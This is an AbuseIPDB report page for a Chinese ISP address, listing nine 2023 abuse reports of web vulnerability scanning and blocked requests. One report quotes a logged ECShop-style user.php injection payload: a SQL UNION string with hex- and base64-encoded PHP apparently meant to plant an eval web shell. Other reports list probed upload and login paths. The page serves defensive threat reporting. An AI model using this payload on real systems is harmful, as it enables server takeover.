JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 121.22.5.252

121.22.5.252 was found in our database!

This IP was reported 9 times. Confidence of Abuse is 0%: ?

ISP	China Unicom Hebei province network
Usage Type	Fixed Line ISP
ASN	AS4837
Hostname(s)	hebei.22.121.in-addr.arpa
Domain Name	chinaunicom.cn
Country	🇨🇳 China
City	Shijiazhuang, Hebei

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 121.22.5.252

Whois 121.22.5.252

IP Abuse Reports for 121.22.5.252:

This IP address has been reported a total of 9 times from 9 distinct sources. 121.22.5.252 was first reported on November 15th 2023, and the most recent report was 2 years ago.

Old Reports: The most recent abuse report for this IP address is from 2 years ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇵🇹 eventkey.pt	2023-11-16 23:24:26 (2 years ago)	Multiple invalid GET requests. Scanning for vulnerabilities.	Web App Attack
🇮🇩 Burayot	2023-11-16 10:05:44 (2 years ago)	LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 121.22.5.252 (CN/China/hebei.22.121. ... show more LF_MODSEC: (mod_security) mod_security (id:949110) triggered by 121.22.5.252 (CN/China/hebei.22.121.in-addr.arpa): 2 in the last 3600 secs show less	Web App Attack
Anonymous	2023-11-16 07:30:11 (2 years ago)	Web App Attack	Web App Attack
Anonymous	2023-11-16 02:02:24 (2 years ago)	121.22.5.252 - - [16/Nov/2023:03:02:22 +0100] "GET /user.php?act=login HTTP/1.1" 403 629 "554fcae493 ... show more 121.22.5.252 - - [16/Nov/2023:03:02:22 +0100] "GET /user.php?act=login HTTP/1.1" 403 629 "554fcae493e564ee0dc75bdf2ebf94caads\|a:2:{s:3:\"num\";s:280:\"/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a325175634768774a79776e50443977614841675a585a686243676b58314250553152625a5630704f79412f506d4669597963702729293b2f2f7d787878,10-- -\";s:2:\"id\";s:3:\"'/\";}" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 121.22.5.252 - - [16/Nov/2023:03:02:22 +0100] "GET /user.php?act=login HTTP/1.1" 403 629 "554fcae493e564ee0dc75bdf2ebf94caads\|a:2:{s:3:\"num\";s:280:\"/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a325175634768774a79776e50443977614841675a585a686243676b58314250553152625a5630704f79412f506d4669597963702729293b2f2f7d787878,10-- -\";s:2:\"id\";s:3:\"'/\";}" "Mozilla/4.0 (compatible; M ... show less	Bad Web Bot
🇫🇷 oh.mg	2023-11-16 01:23:16 (2 years ago)	(mod_security) mod_security (id:949110) triggered by 121.22.5.252 (CN/China/hebei.22.121.in-addr.arp ... show more (mod_security) mod_security (id:949110) triggered by 121.22.5.252 (CN/China/hebei.22.121.in-addr.arpa): 1 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_TRIGGER; Logs: [Thu Nov 16 01:23:10.080467 2023] [:error] [pid 983502:tid 140465017906944] [client 121.22.5.252:50987] [client 121.22.5.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "184"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [ver "OWASP_CRS/4.0.0-rc1"] [tag "anomaly-evaluation"] [hostname "oh.mg"] [uri "/index.php/api/Uploadify/preview"] [unique_id "ZVVu-vI-qtsrvqPozNzxgQAAABI"], referer: https://oh.mg/index.php/api/Uploadify/preview show less	Port Scan
🇺🇸 mnsf	2023-11-16 01:03:05 (2 years ago)	Too many Status 40X (16)	Brute-Force Web App Attack
🇨🇭 zynex	2023-11-15 22:28:42 (2 years ago)	URL Probing: /robots.php	Web App Attack
Anonymous	2023-11-15 20:37:39 (2 years ago)	suspicious behavior	Brute-Force Web App Attack
🇬🇧 CrystalMaker	2023-11-15 18:42:27 (2 years ago)	PHP vulnerability scan - GET /user.php?act=login; GET /user.php?act=login; GET /index.php?m=member&c ... show more PHP vulnerability scan - GET /user.php?act=login; GET /user.php?act=login; GET /index.php?m=member&c=index&a=register&siteid=1; GET /fckeditor/editor/filemanager/upload/php/upload.php?Type=Media; GET /user.php?act=login; GET /user.php?act=login; GET /index.php?m=member&c=index&a=register&siteid=1; GET /fckeditor/editor/filemanager/upload/php/upload.php?Type=Media show less	Web App Attack

Showing 1 to 9 of 9 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 216.73.217.23

🇺🇸 91.230.168.137

🇦🇹 77.117.193.230

🇧🇷 43.164.196.114

🇰🇷 222.110.147.56

🇰🇷 218.157.41.201

🇺🇸 184.105.139.70

🇵🇰 182.181.238.248

🇺🇸 154.31.159.206

🇫🇷 143.244.57.120

🇵🇭 143.44.192.128

🇫🇮 135.181.117.25

🇸🇬 129.226.95.93

🇮🇪 108.131.1.209

🇮🇳 103.79.222.10

🇳🇱 91.92.40.4

🇺🇸 66.228.62.150

🇩🇪 64.188.83.244

🇰🇷 61.97.17.208

🇮🇳 59.185.230.105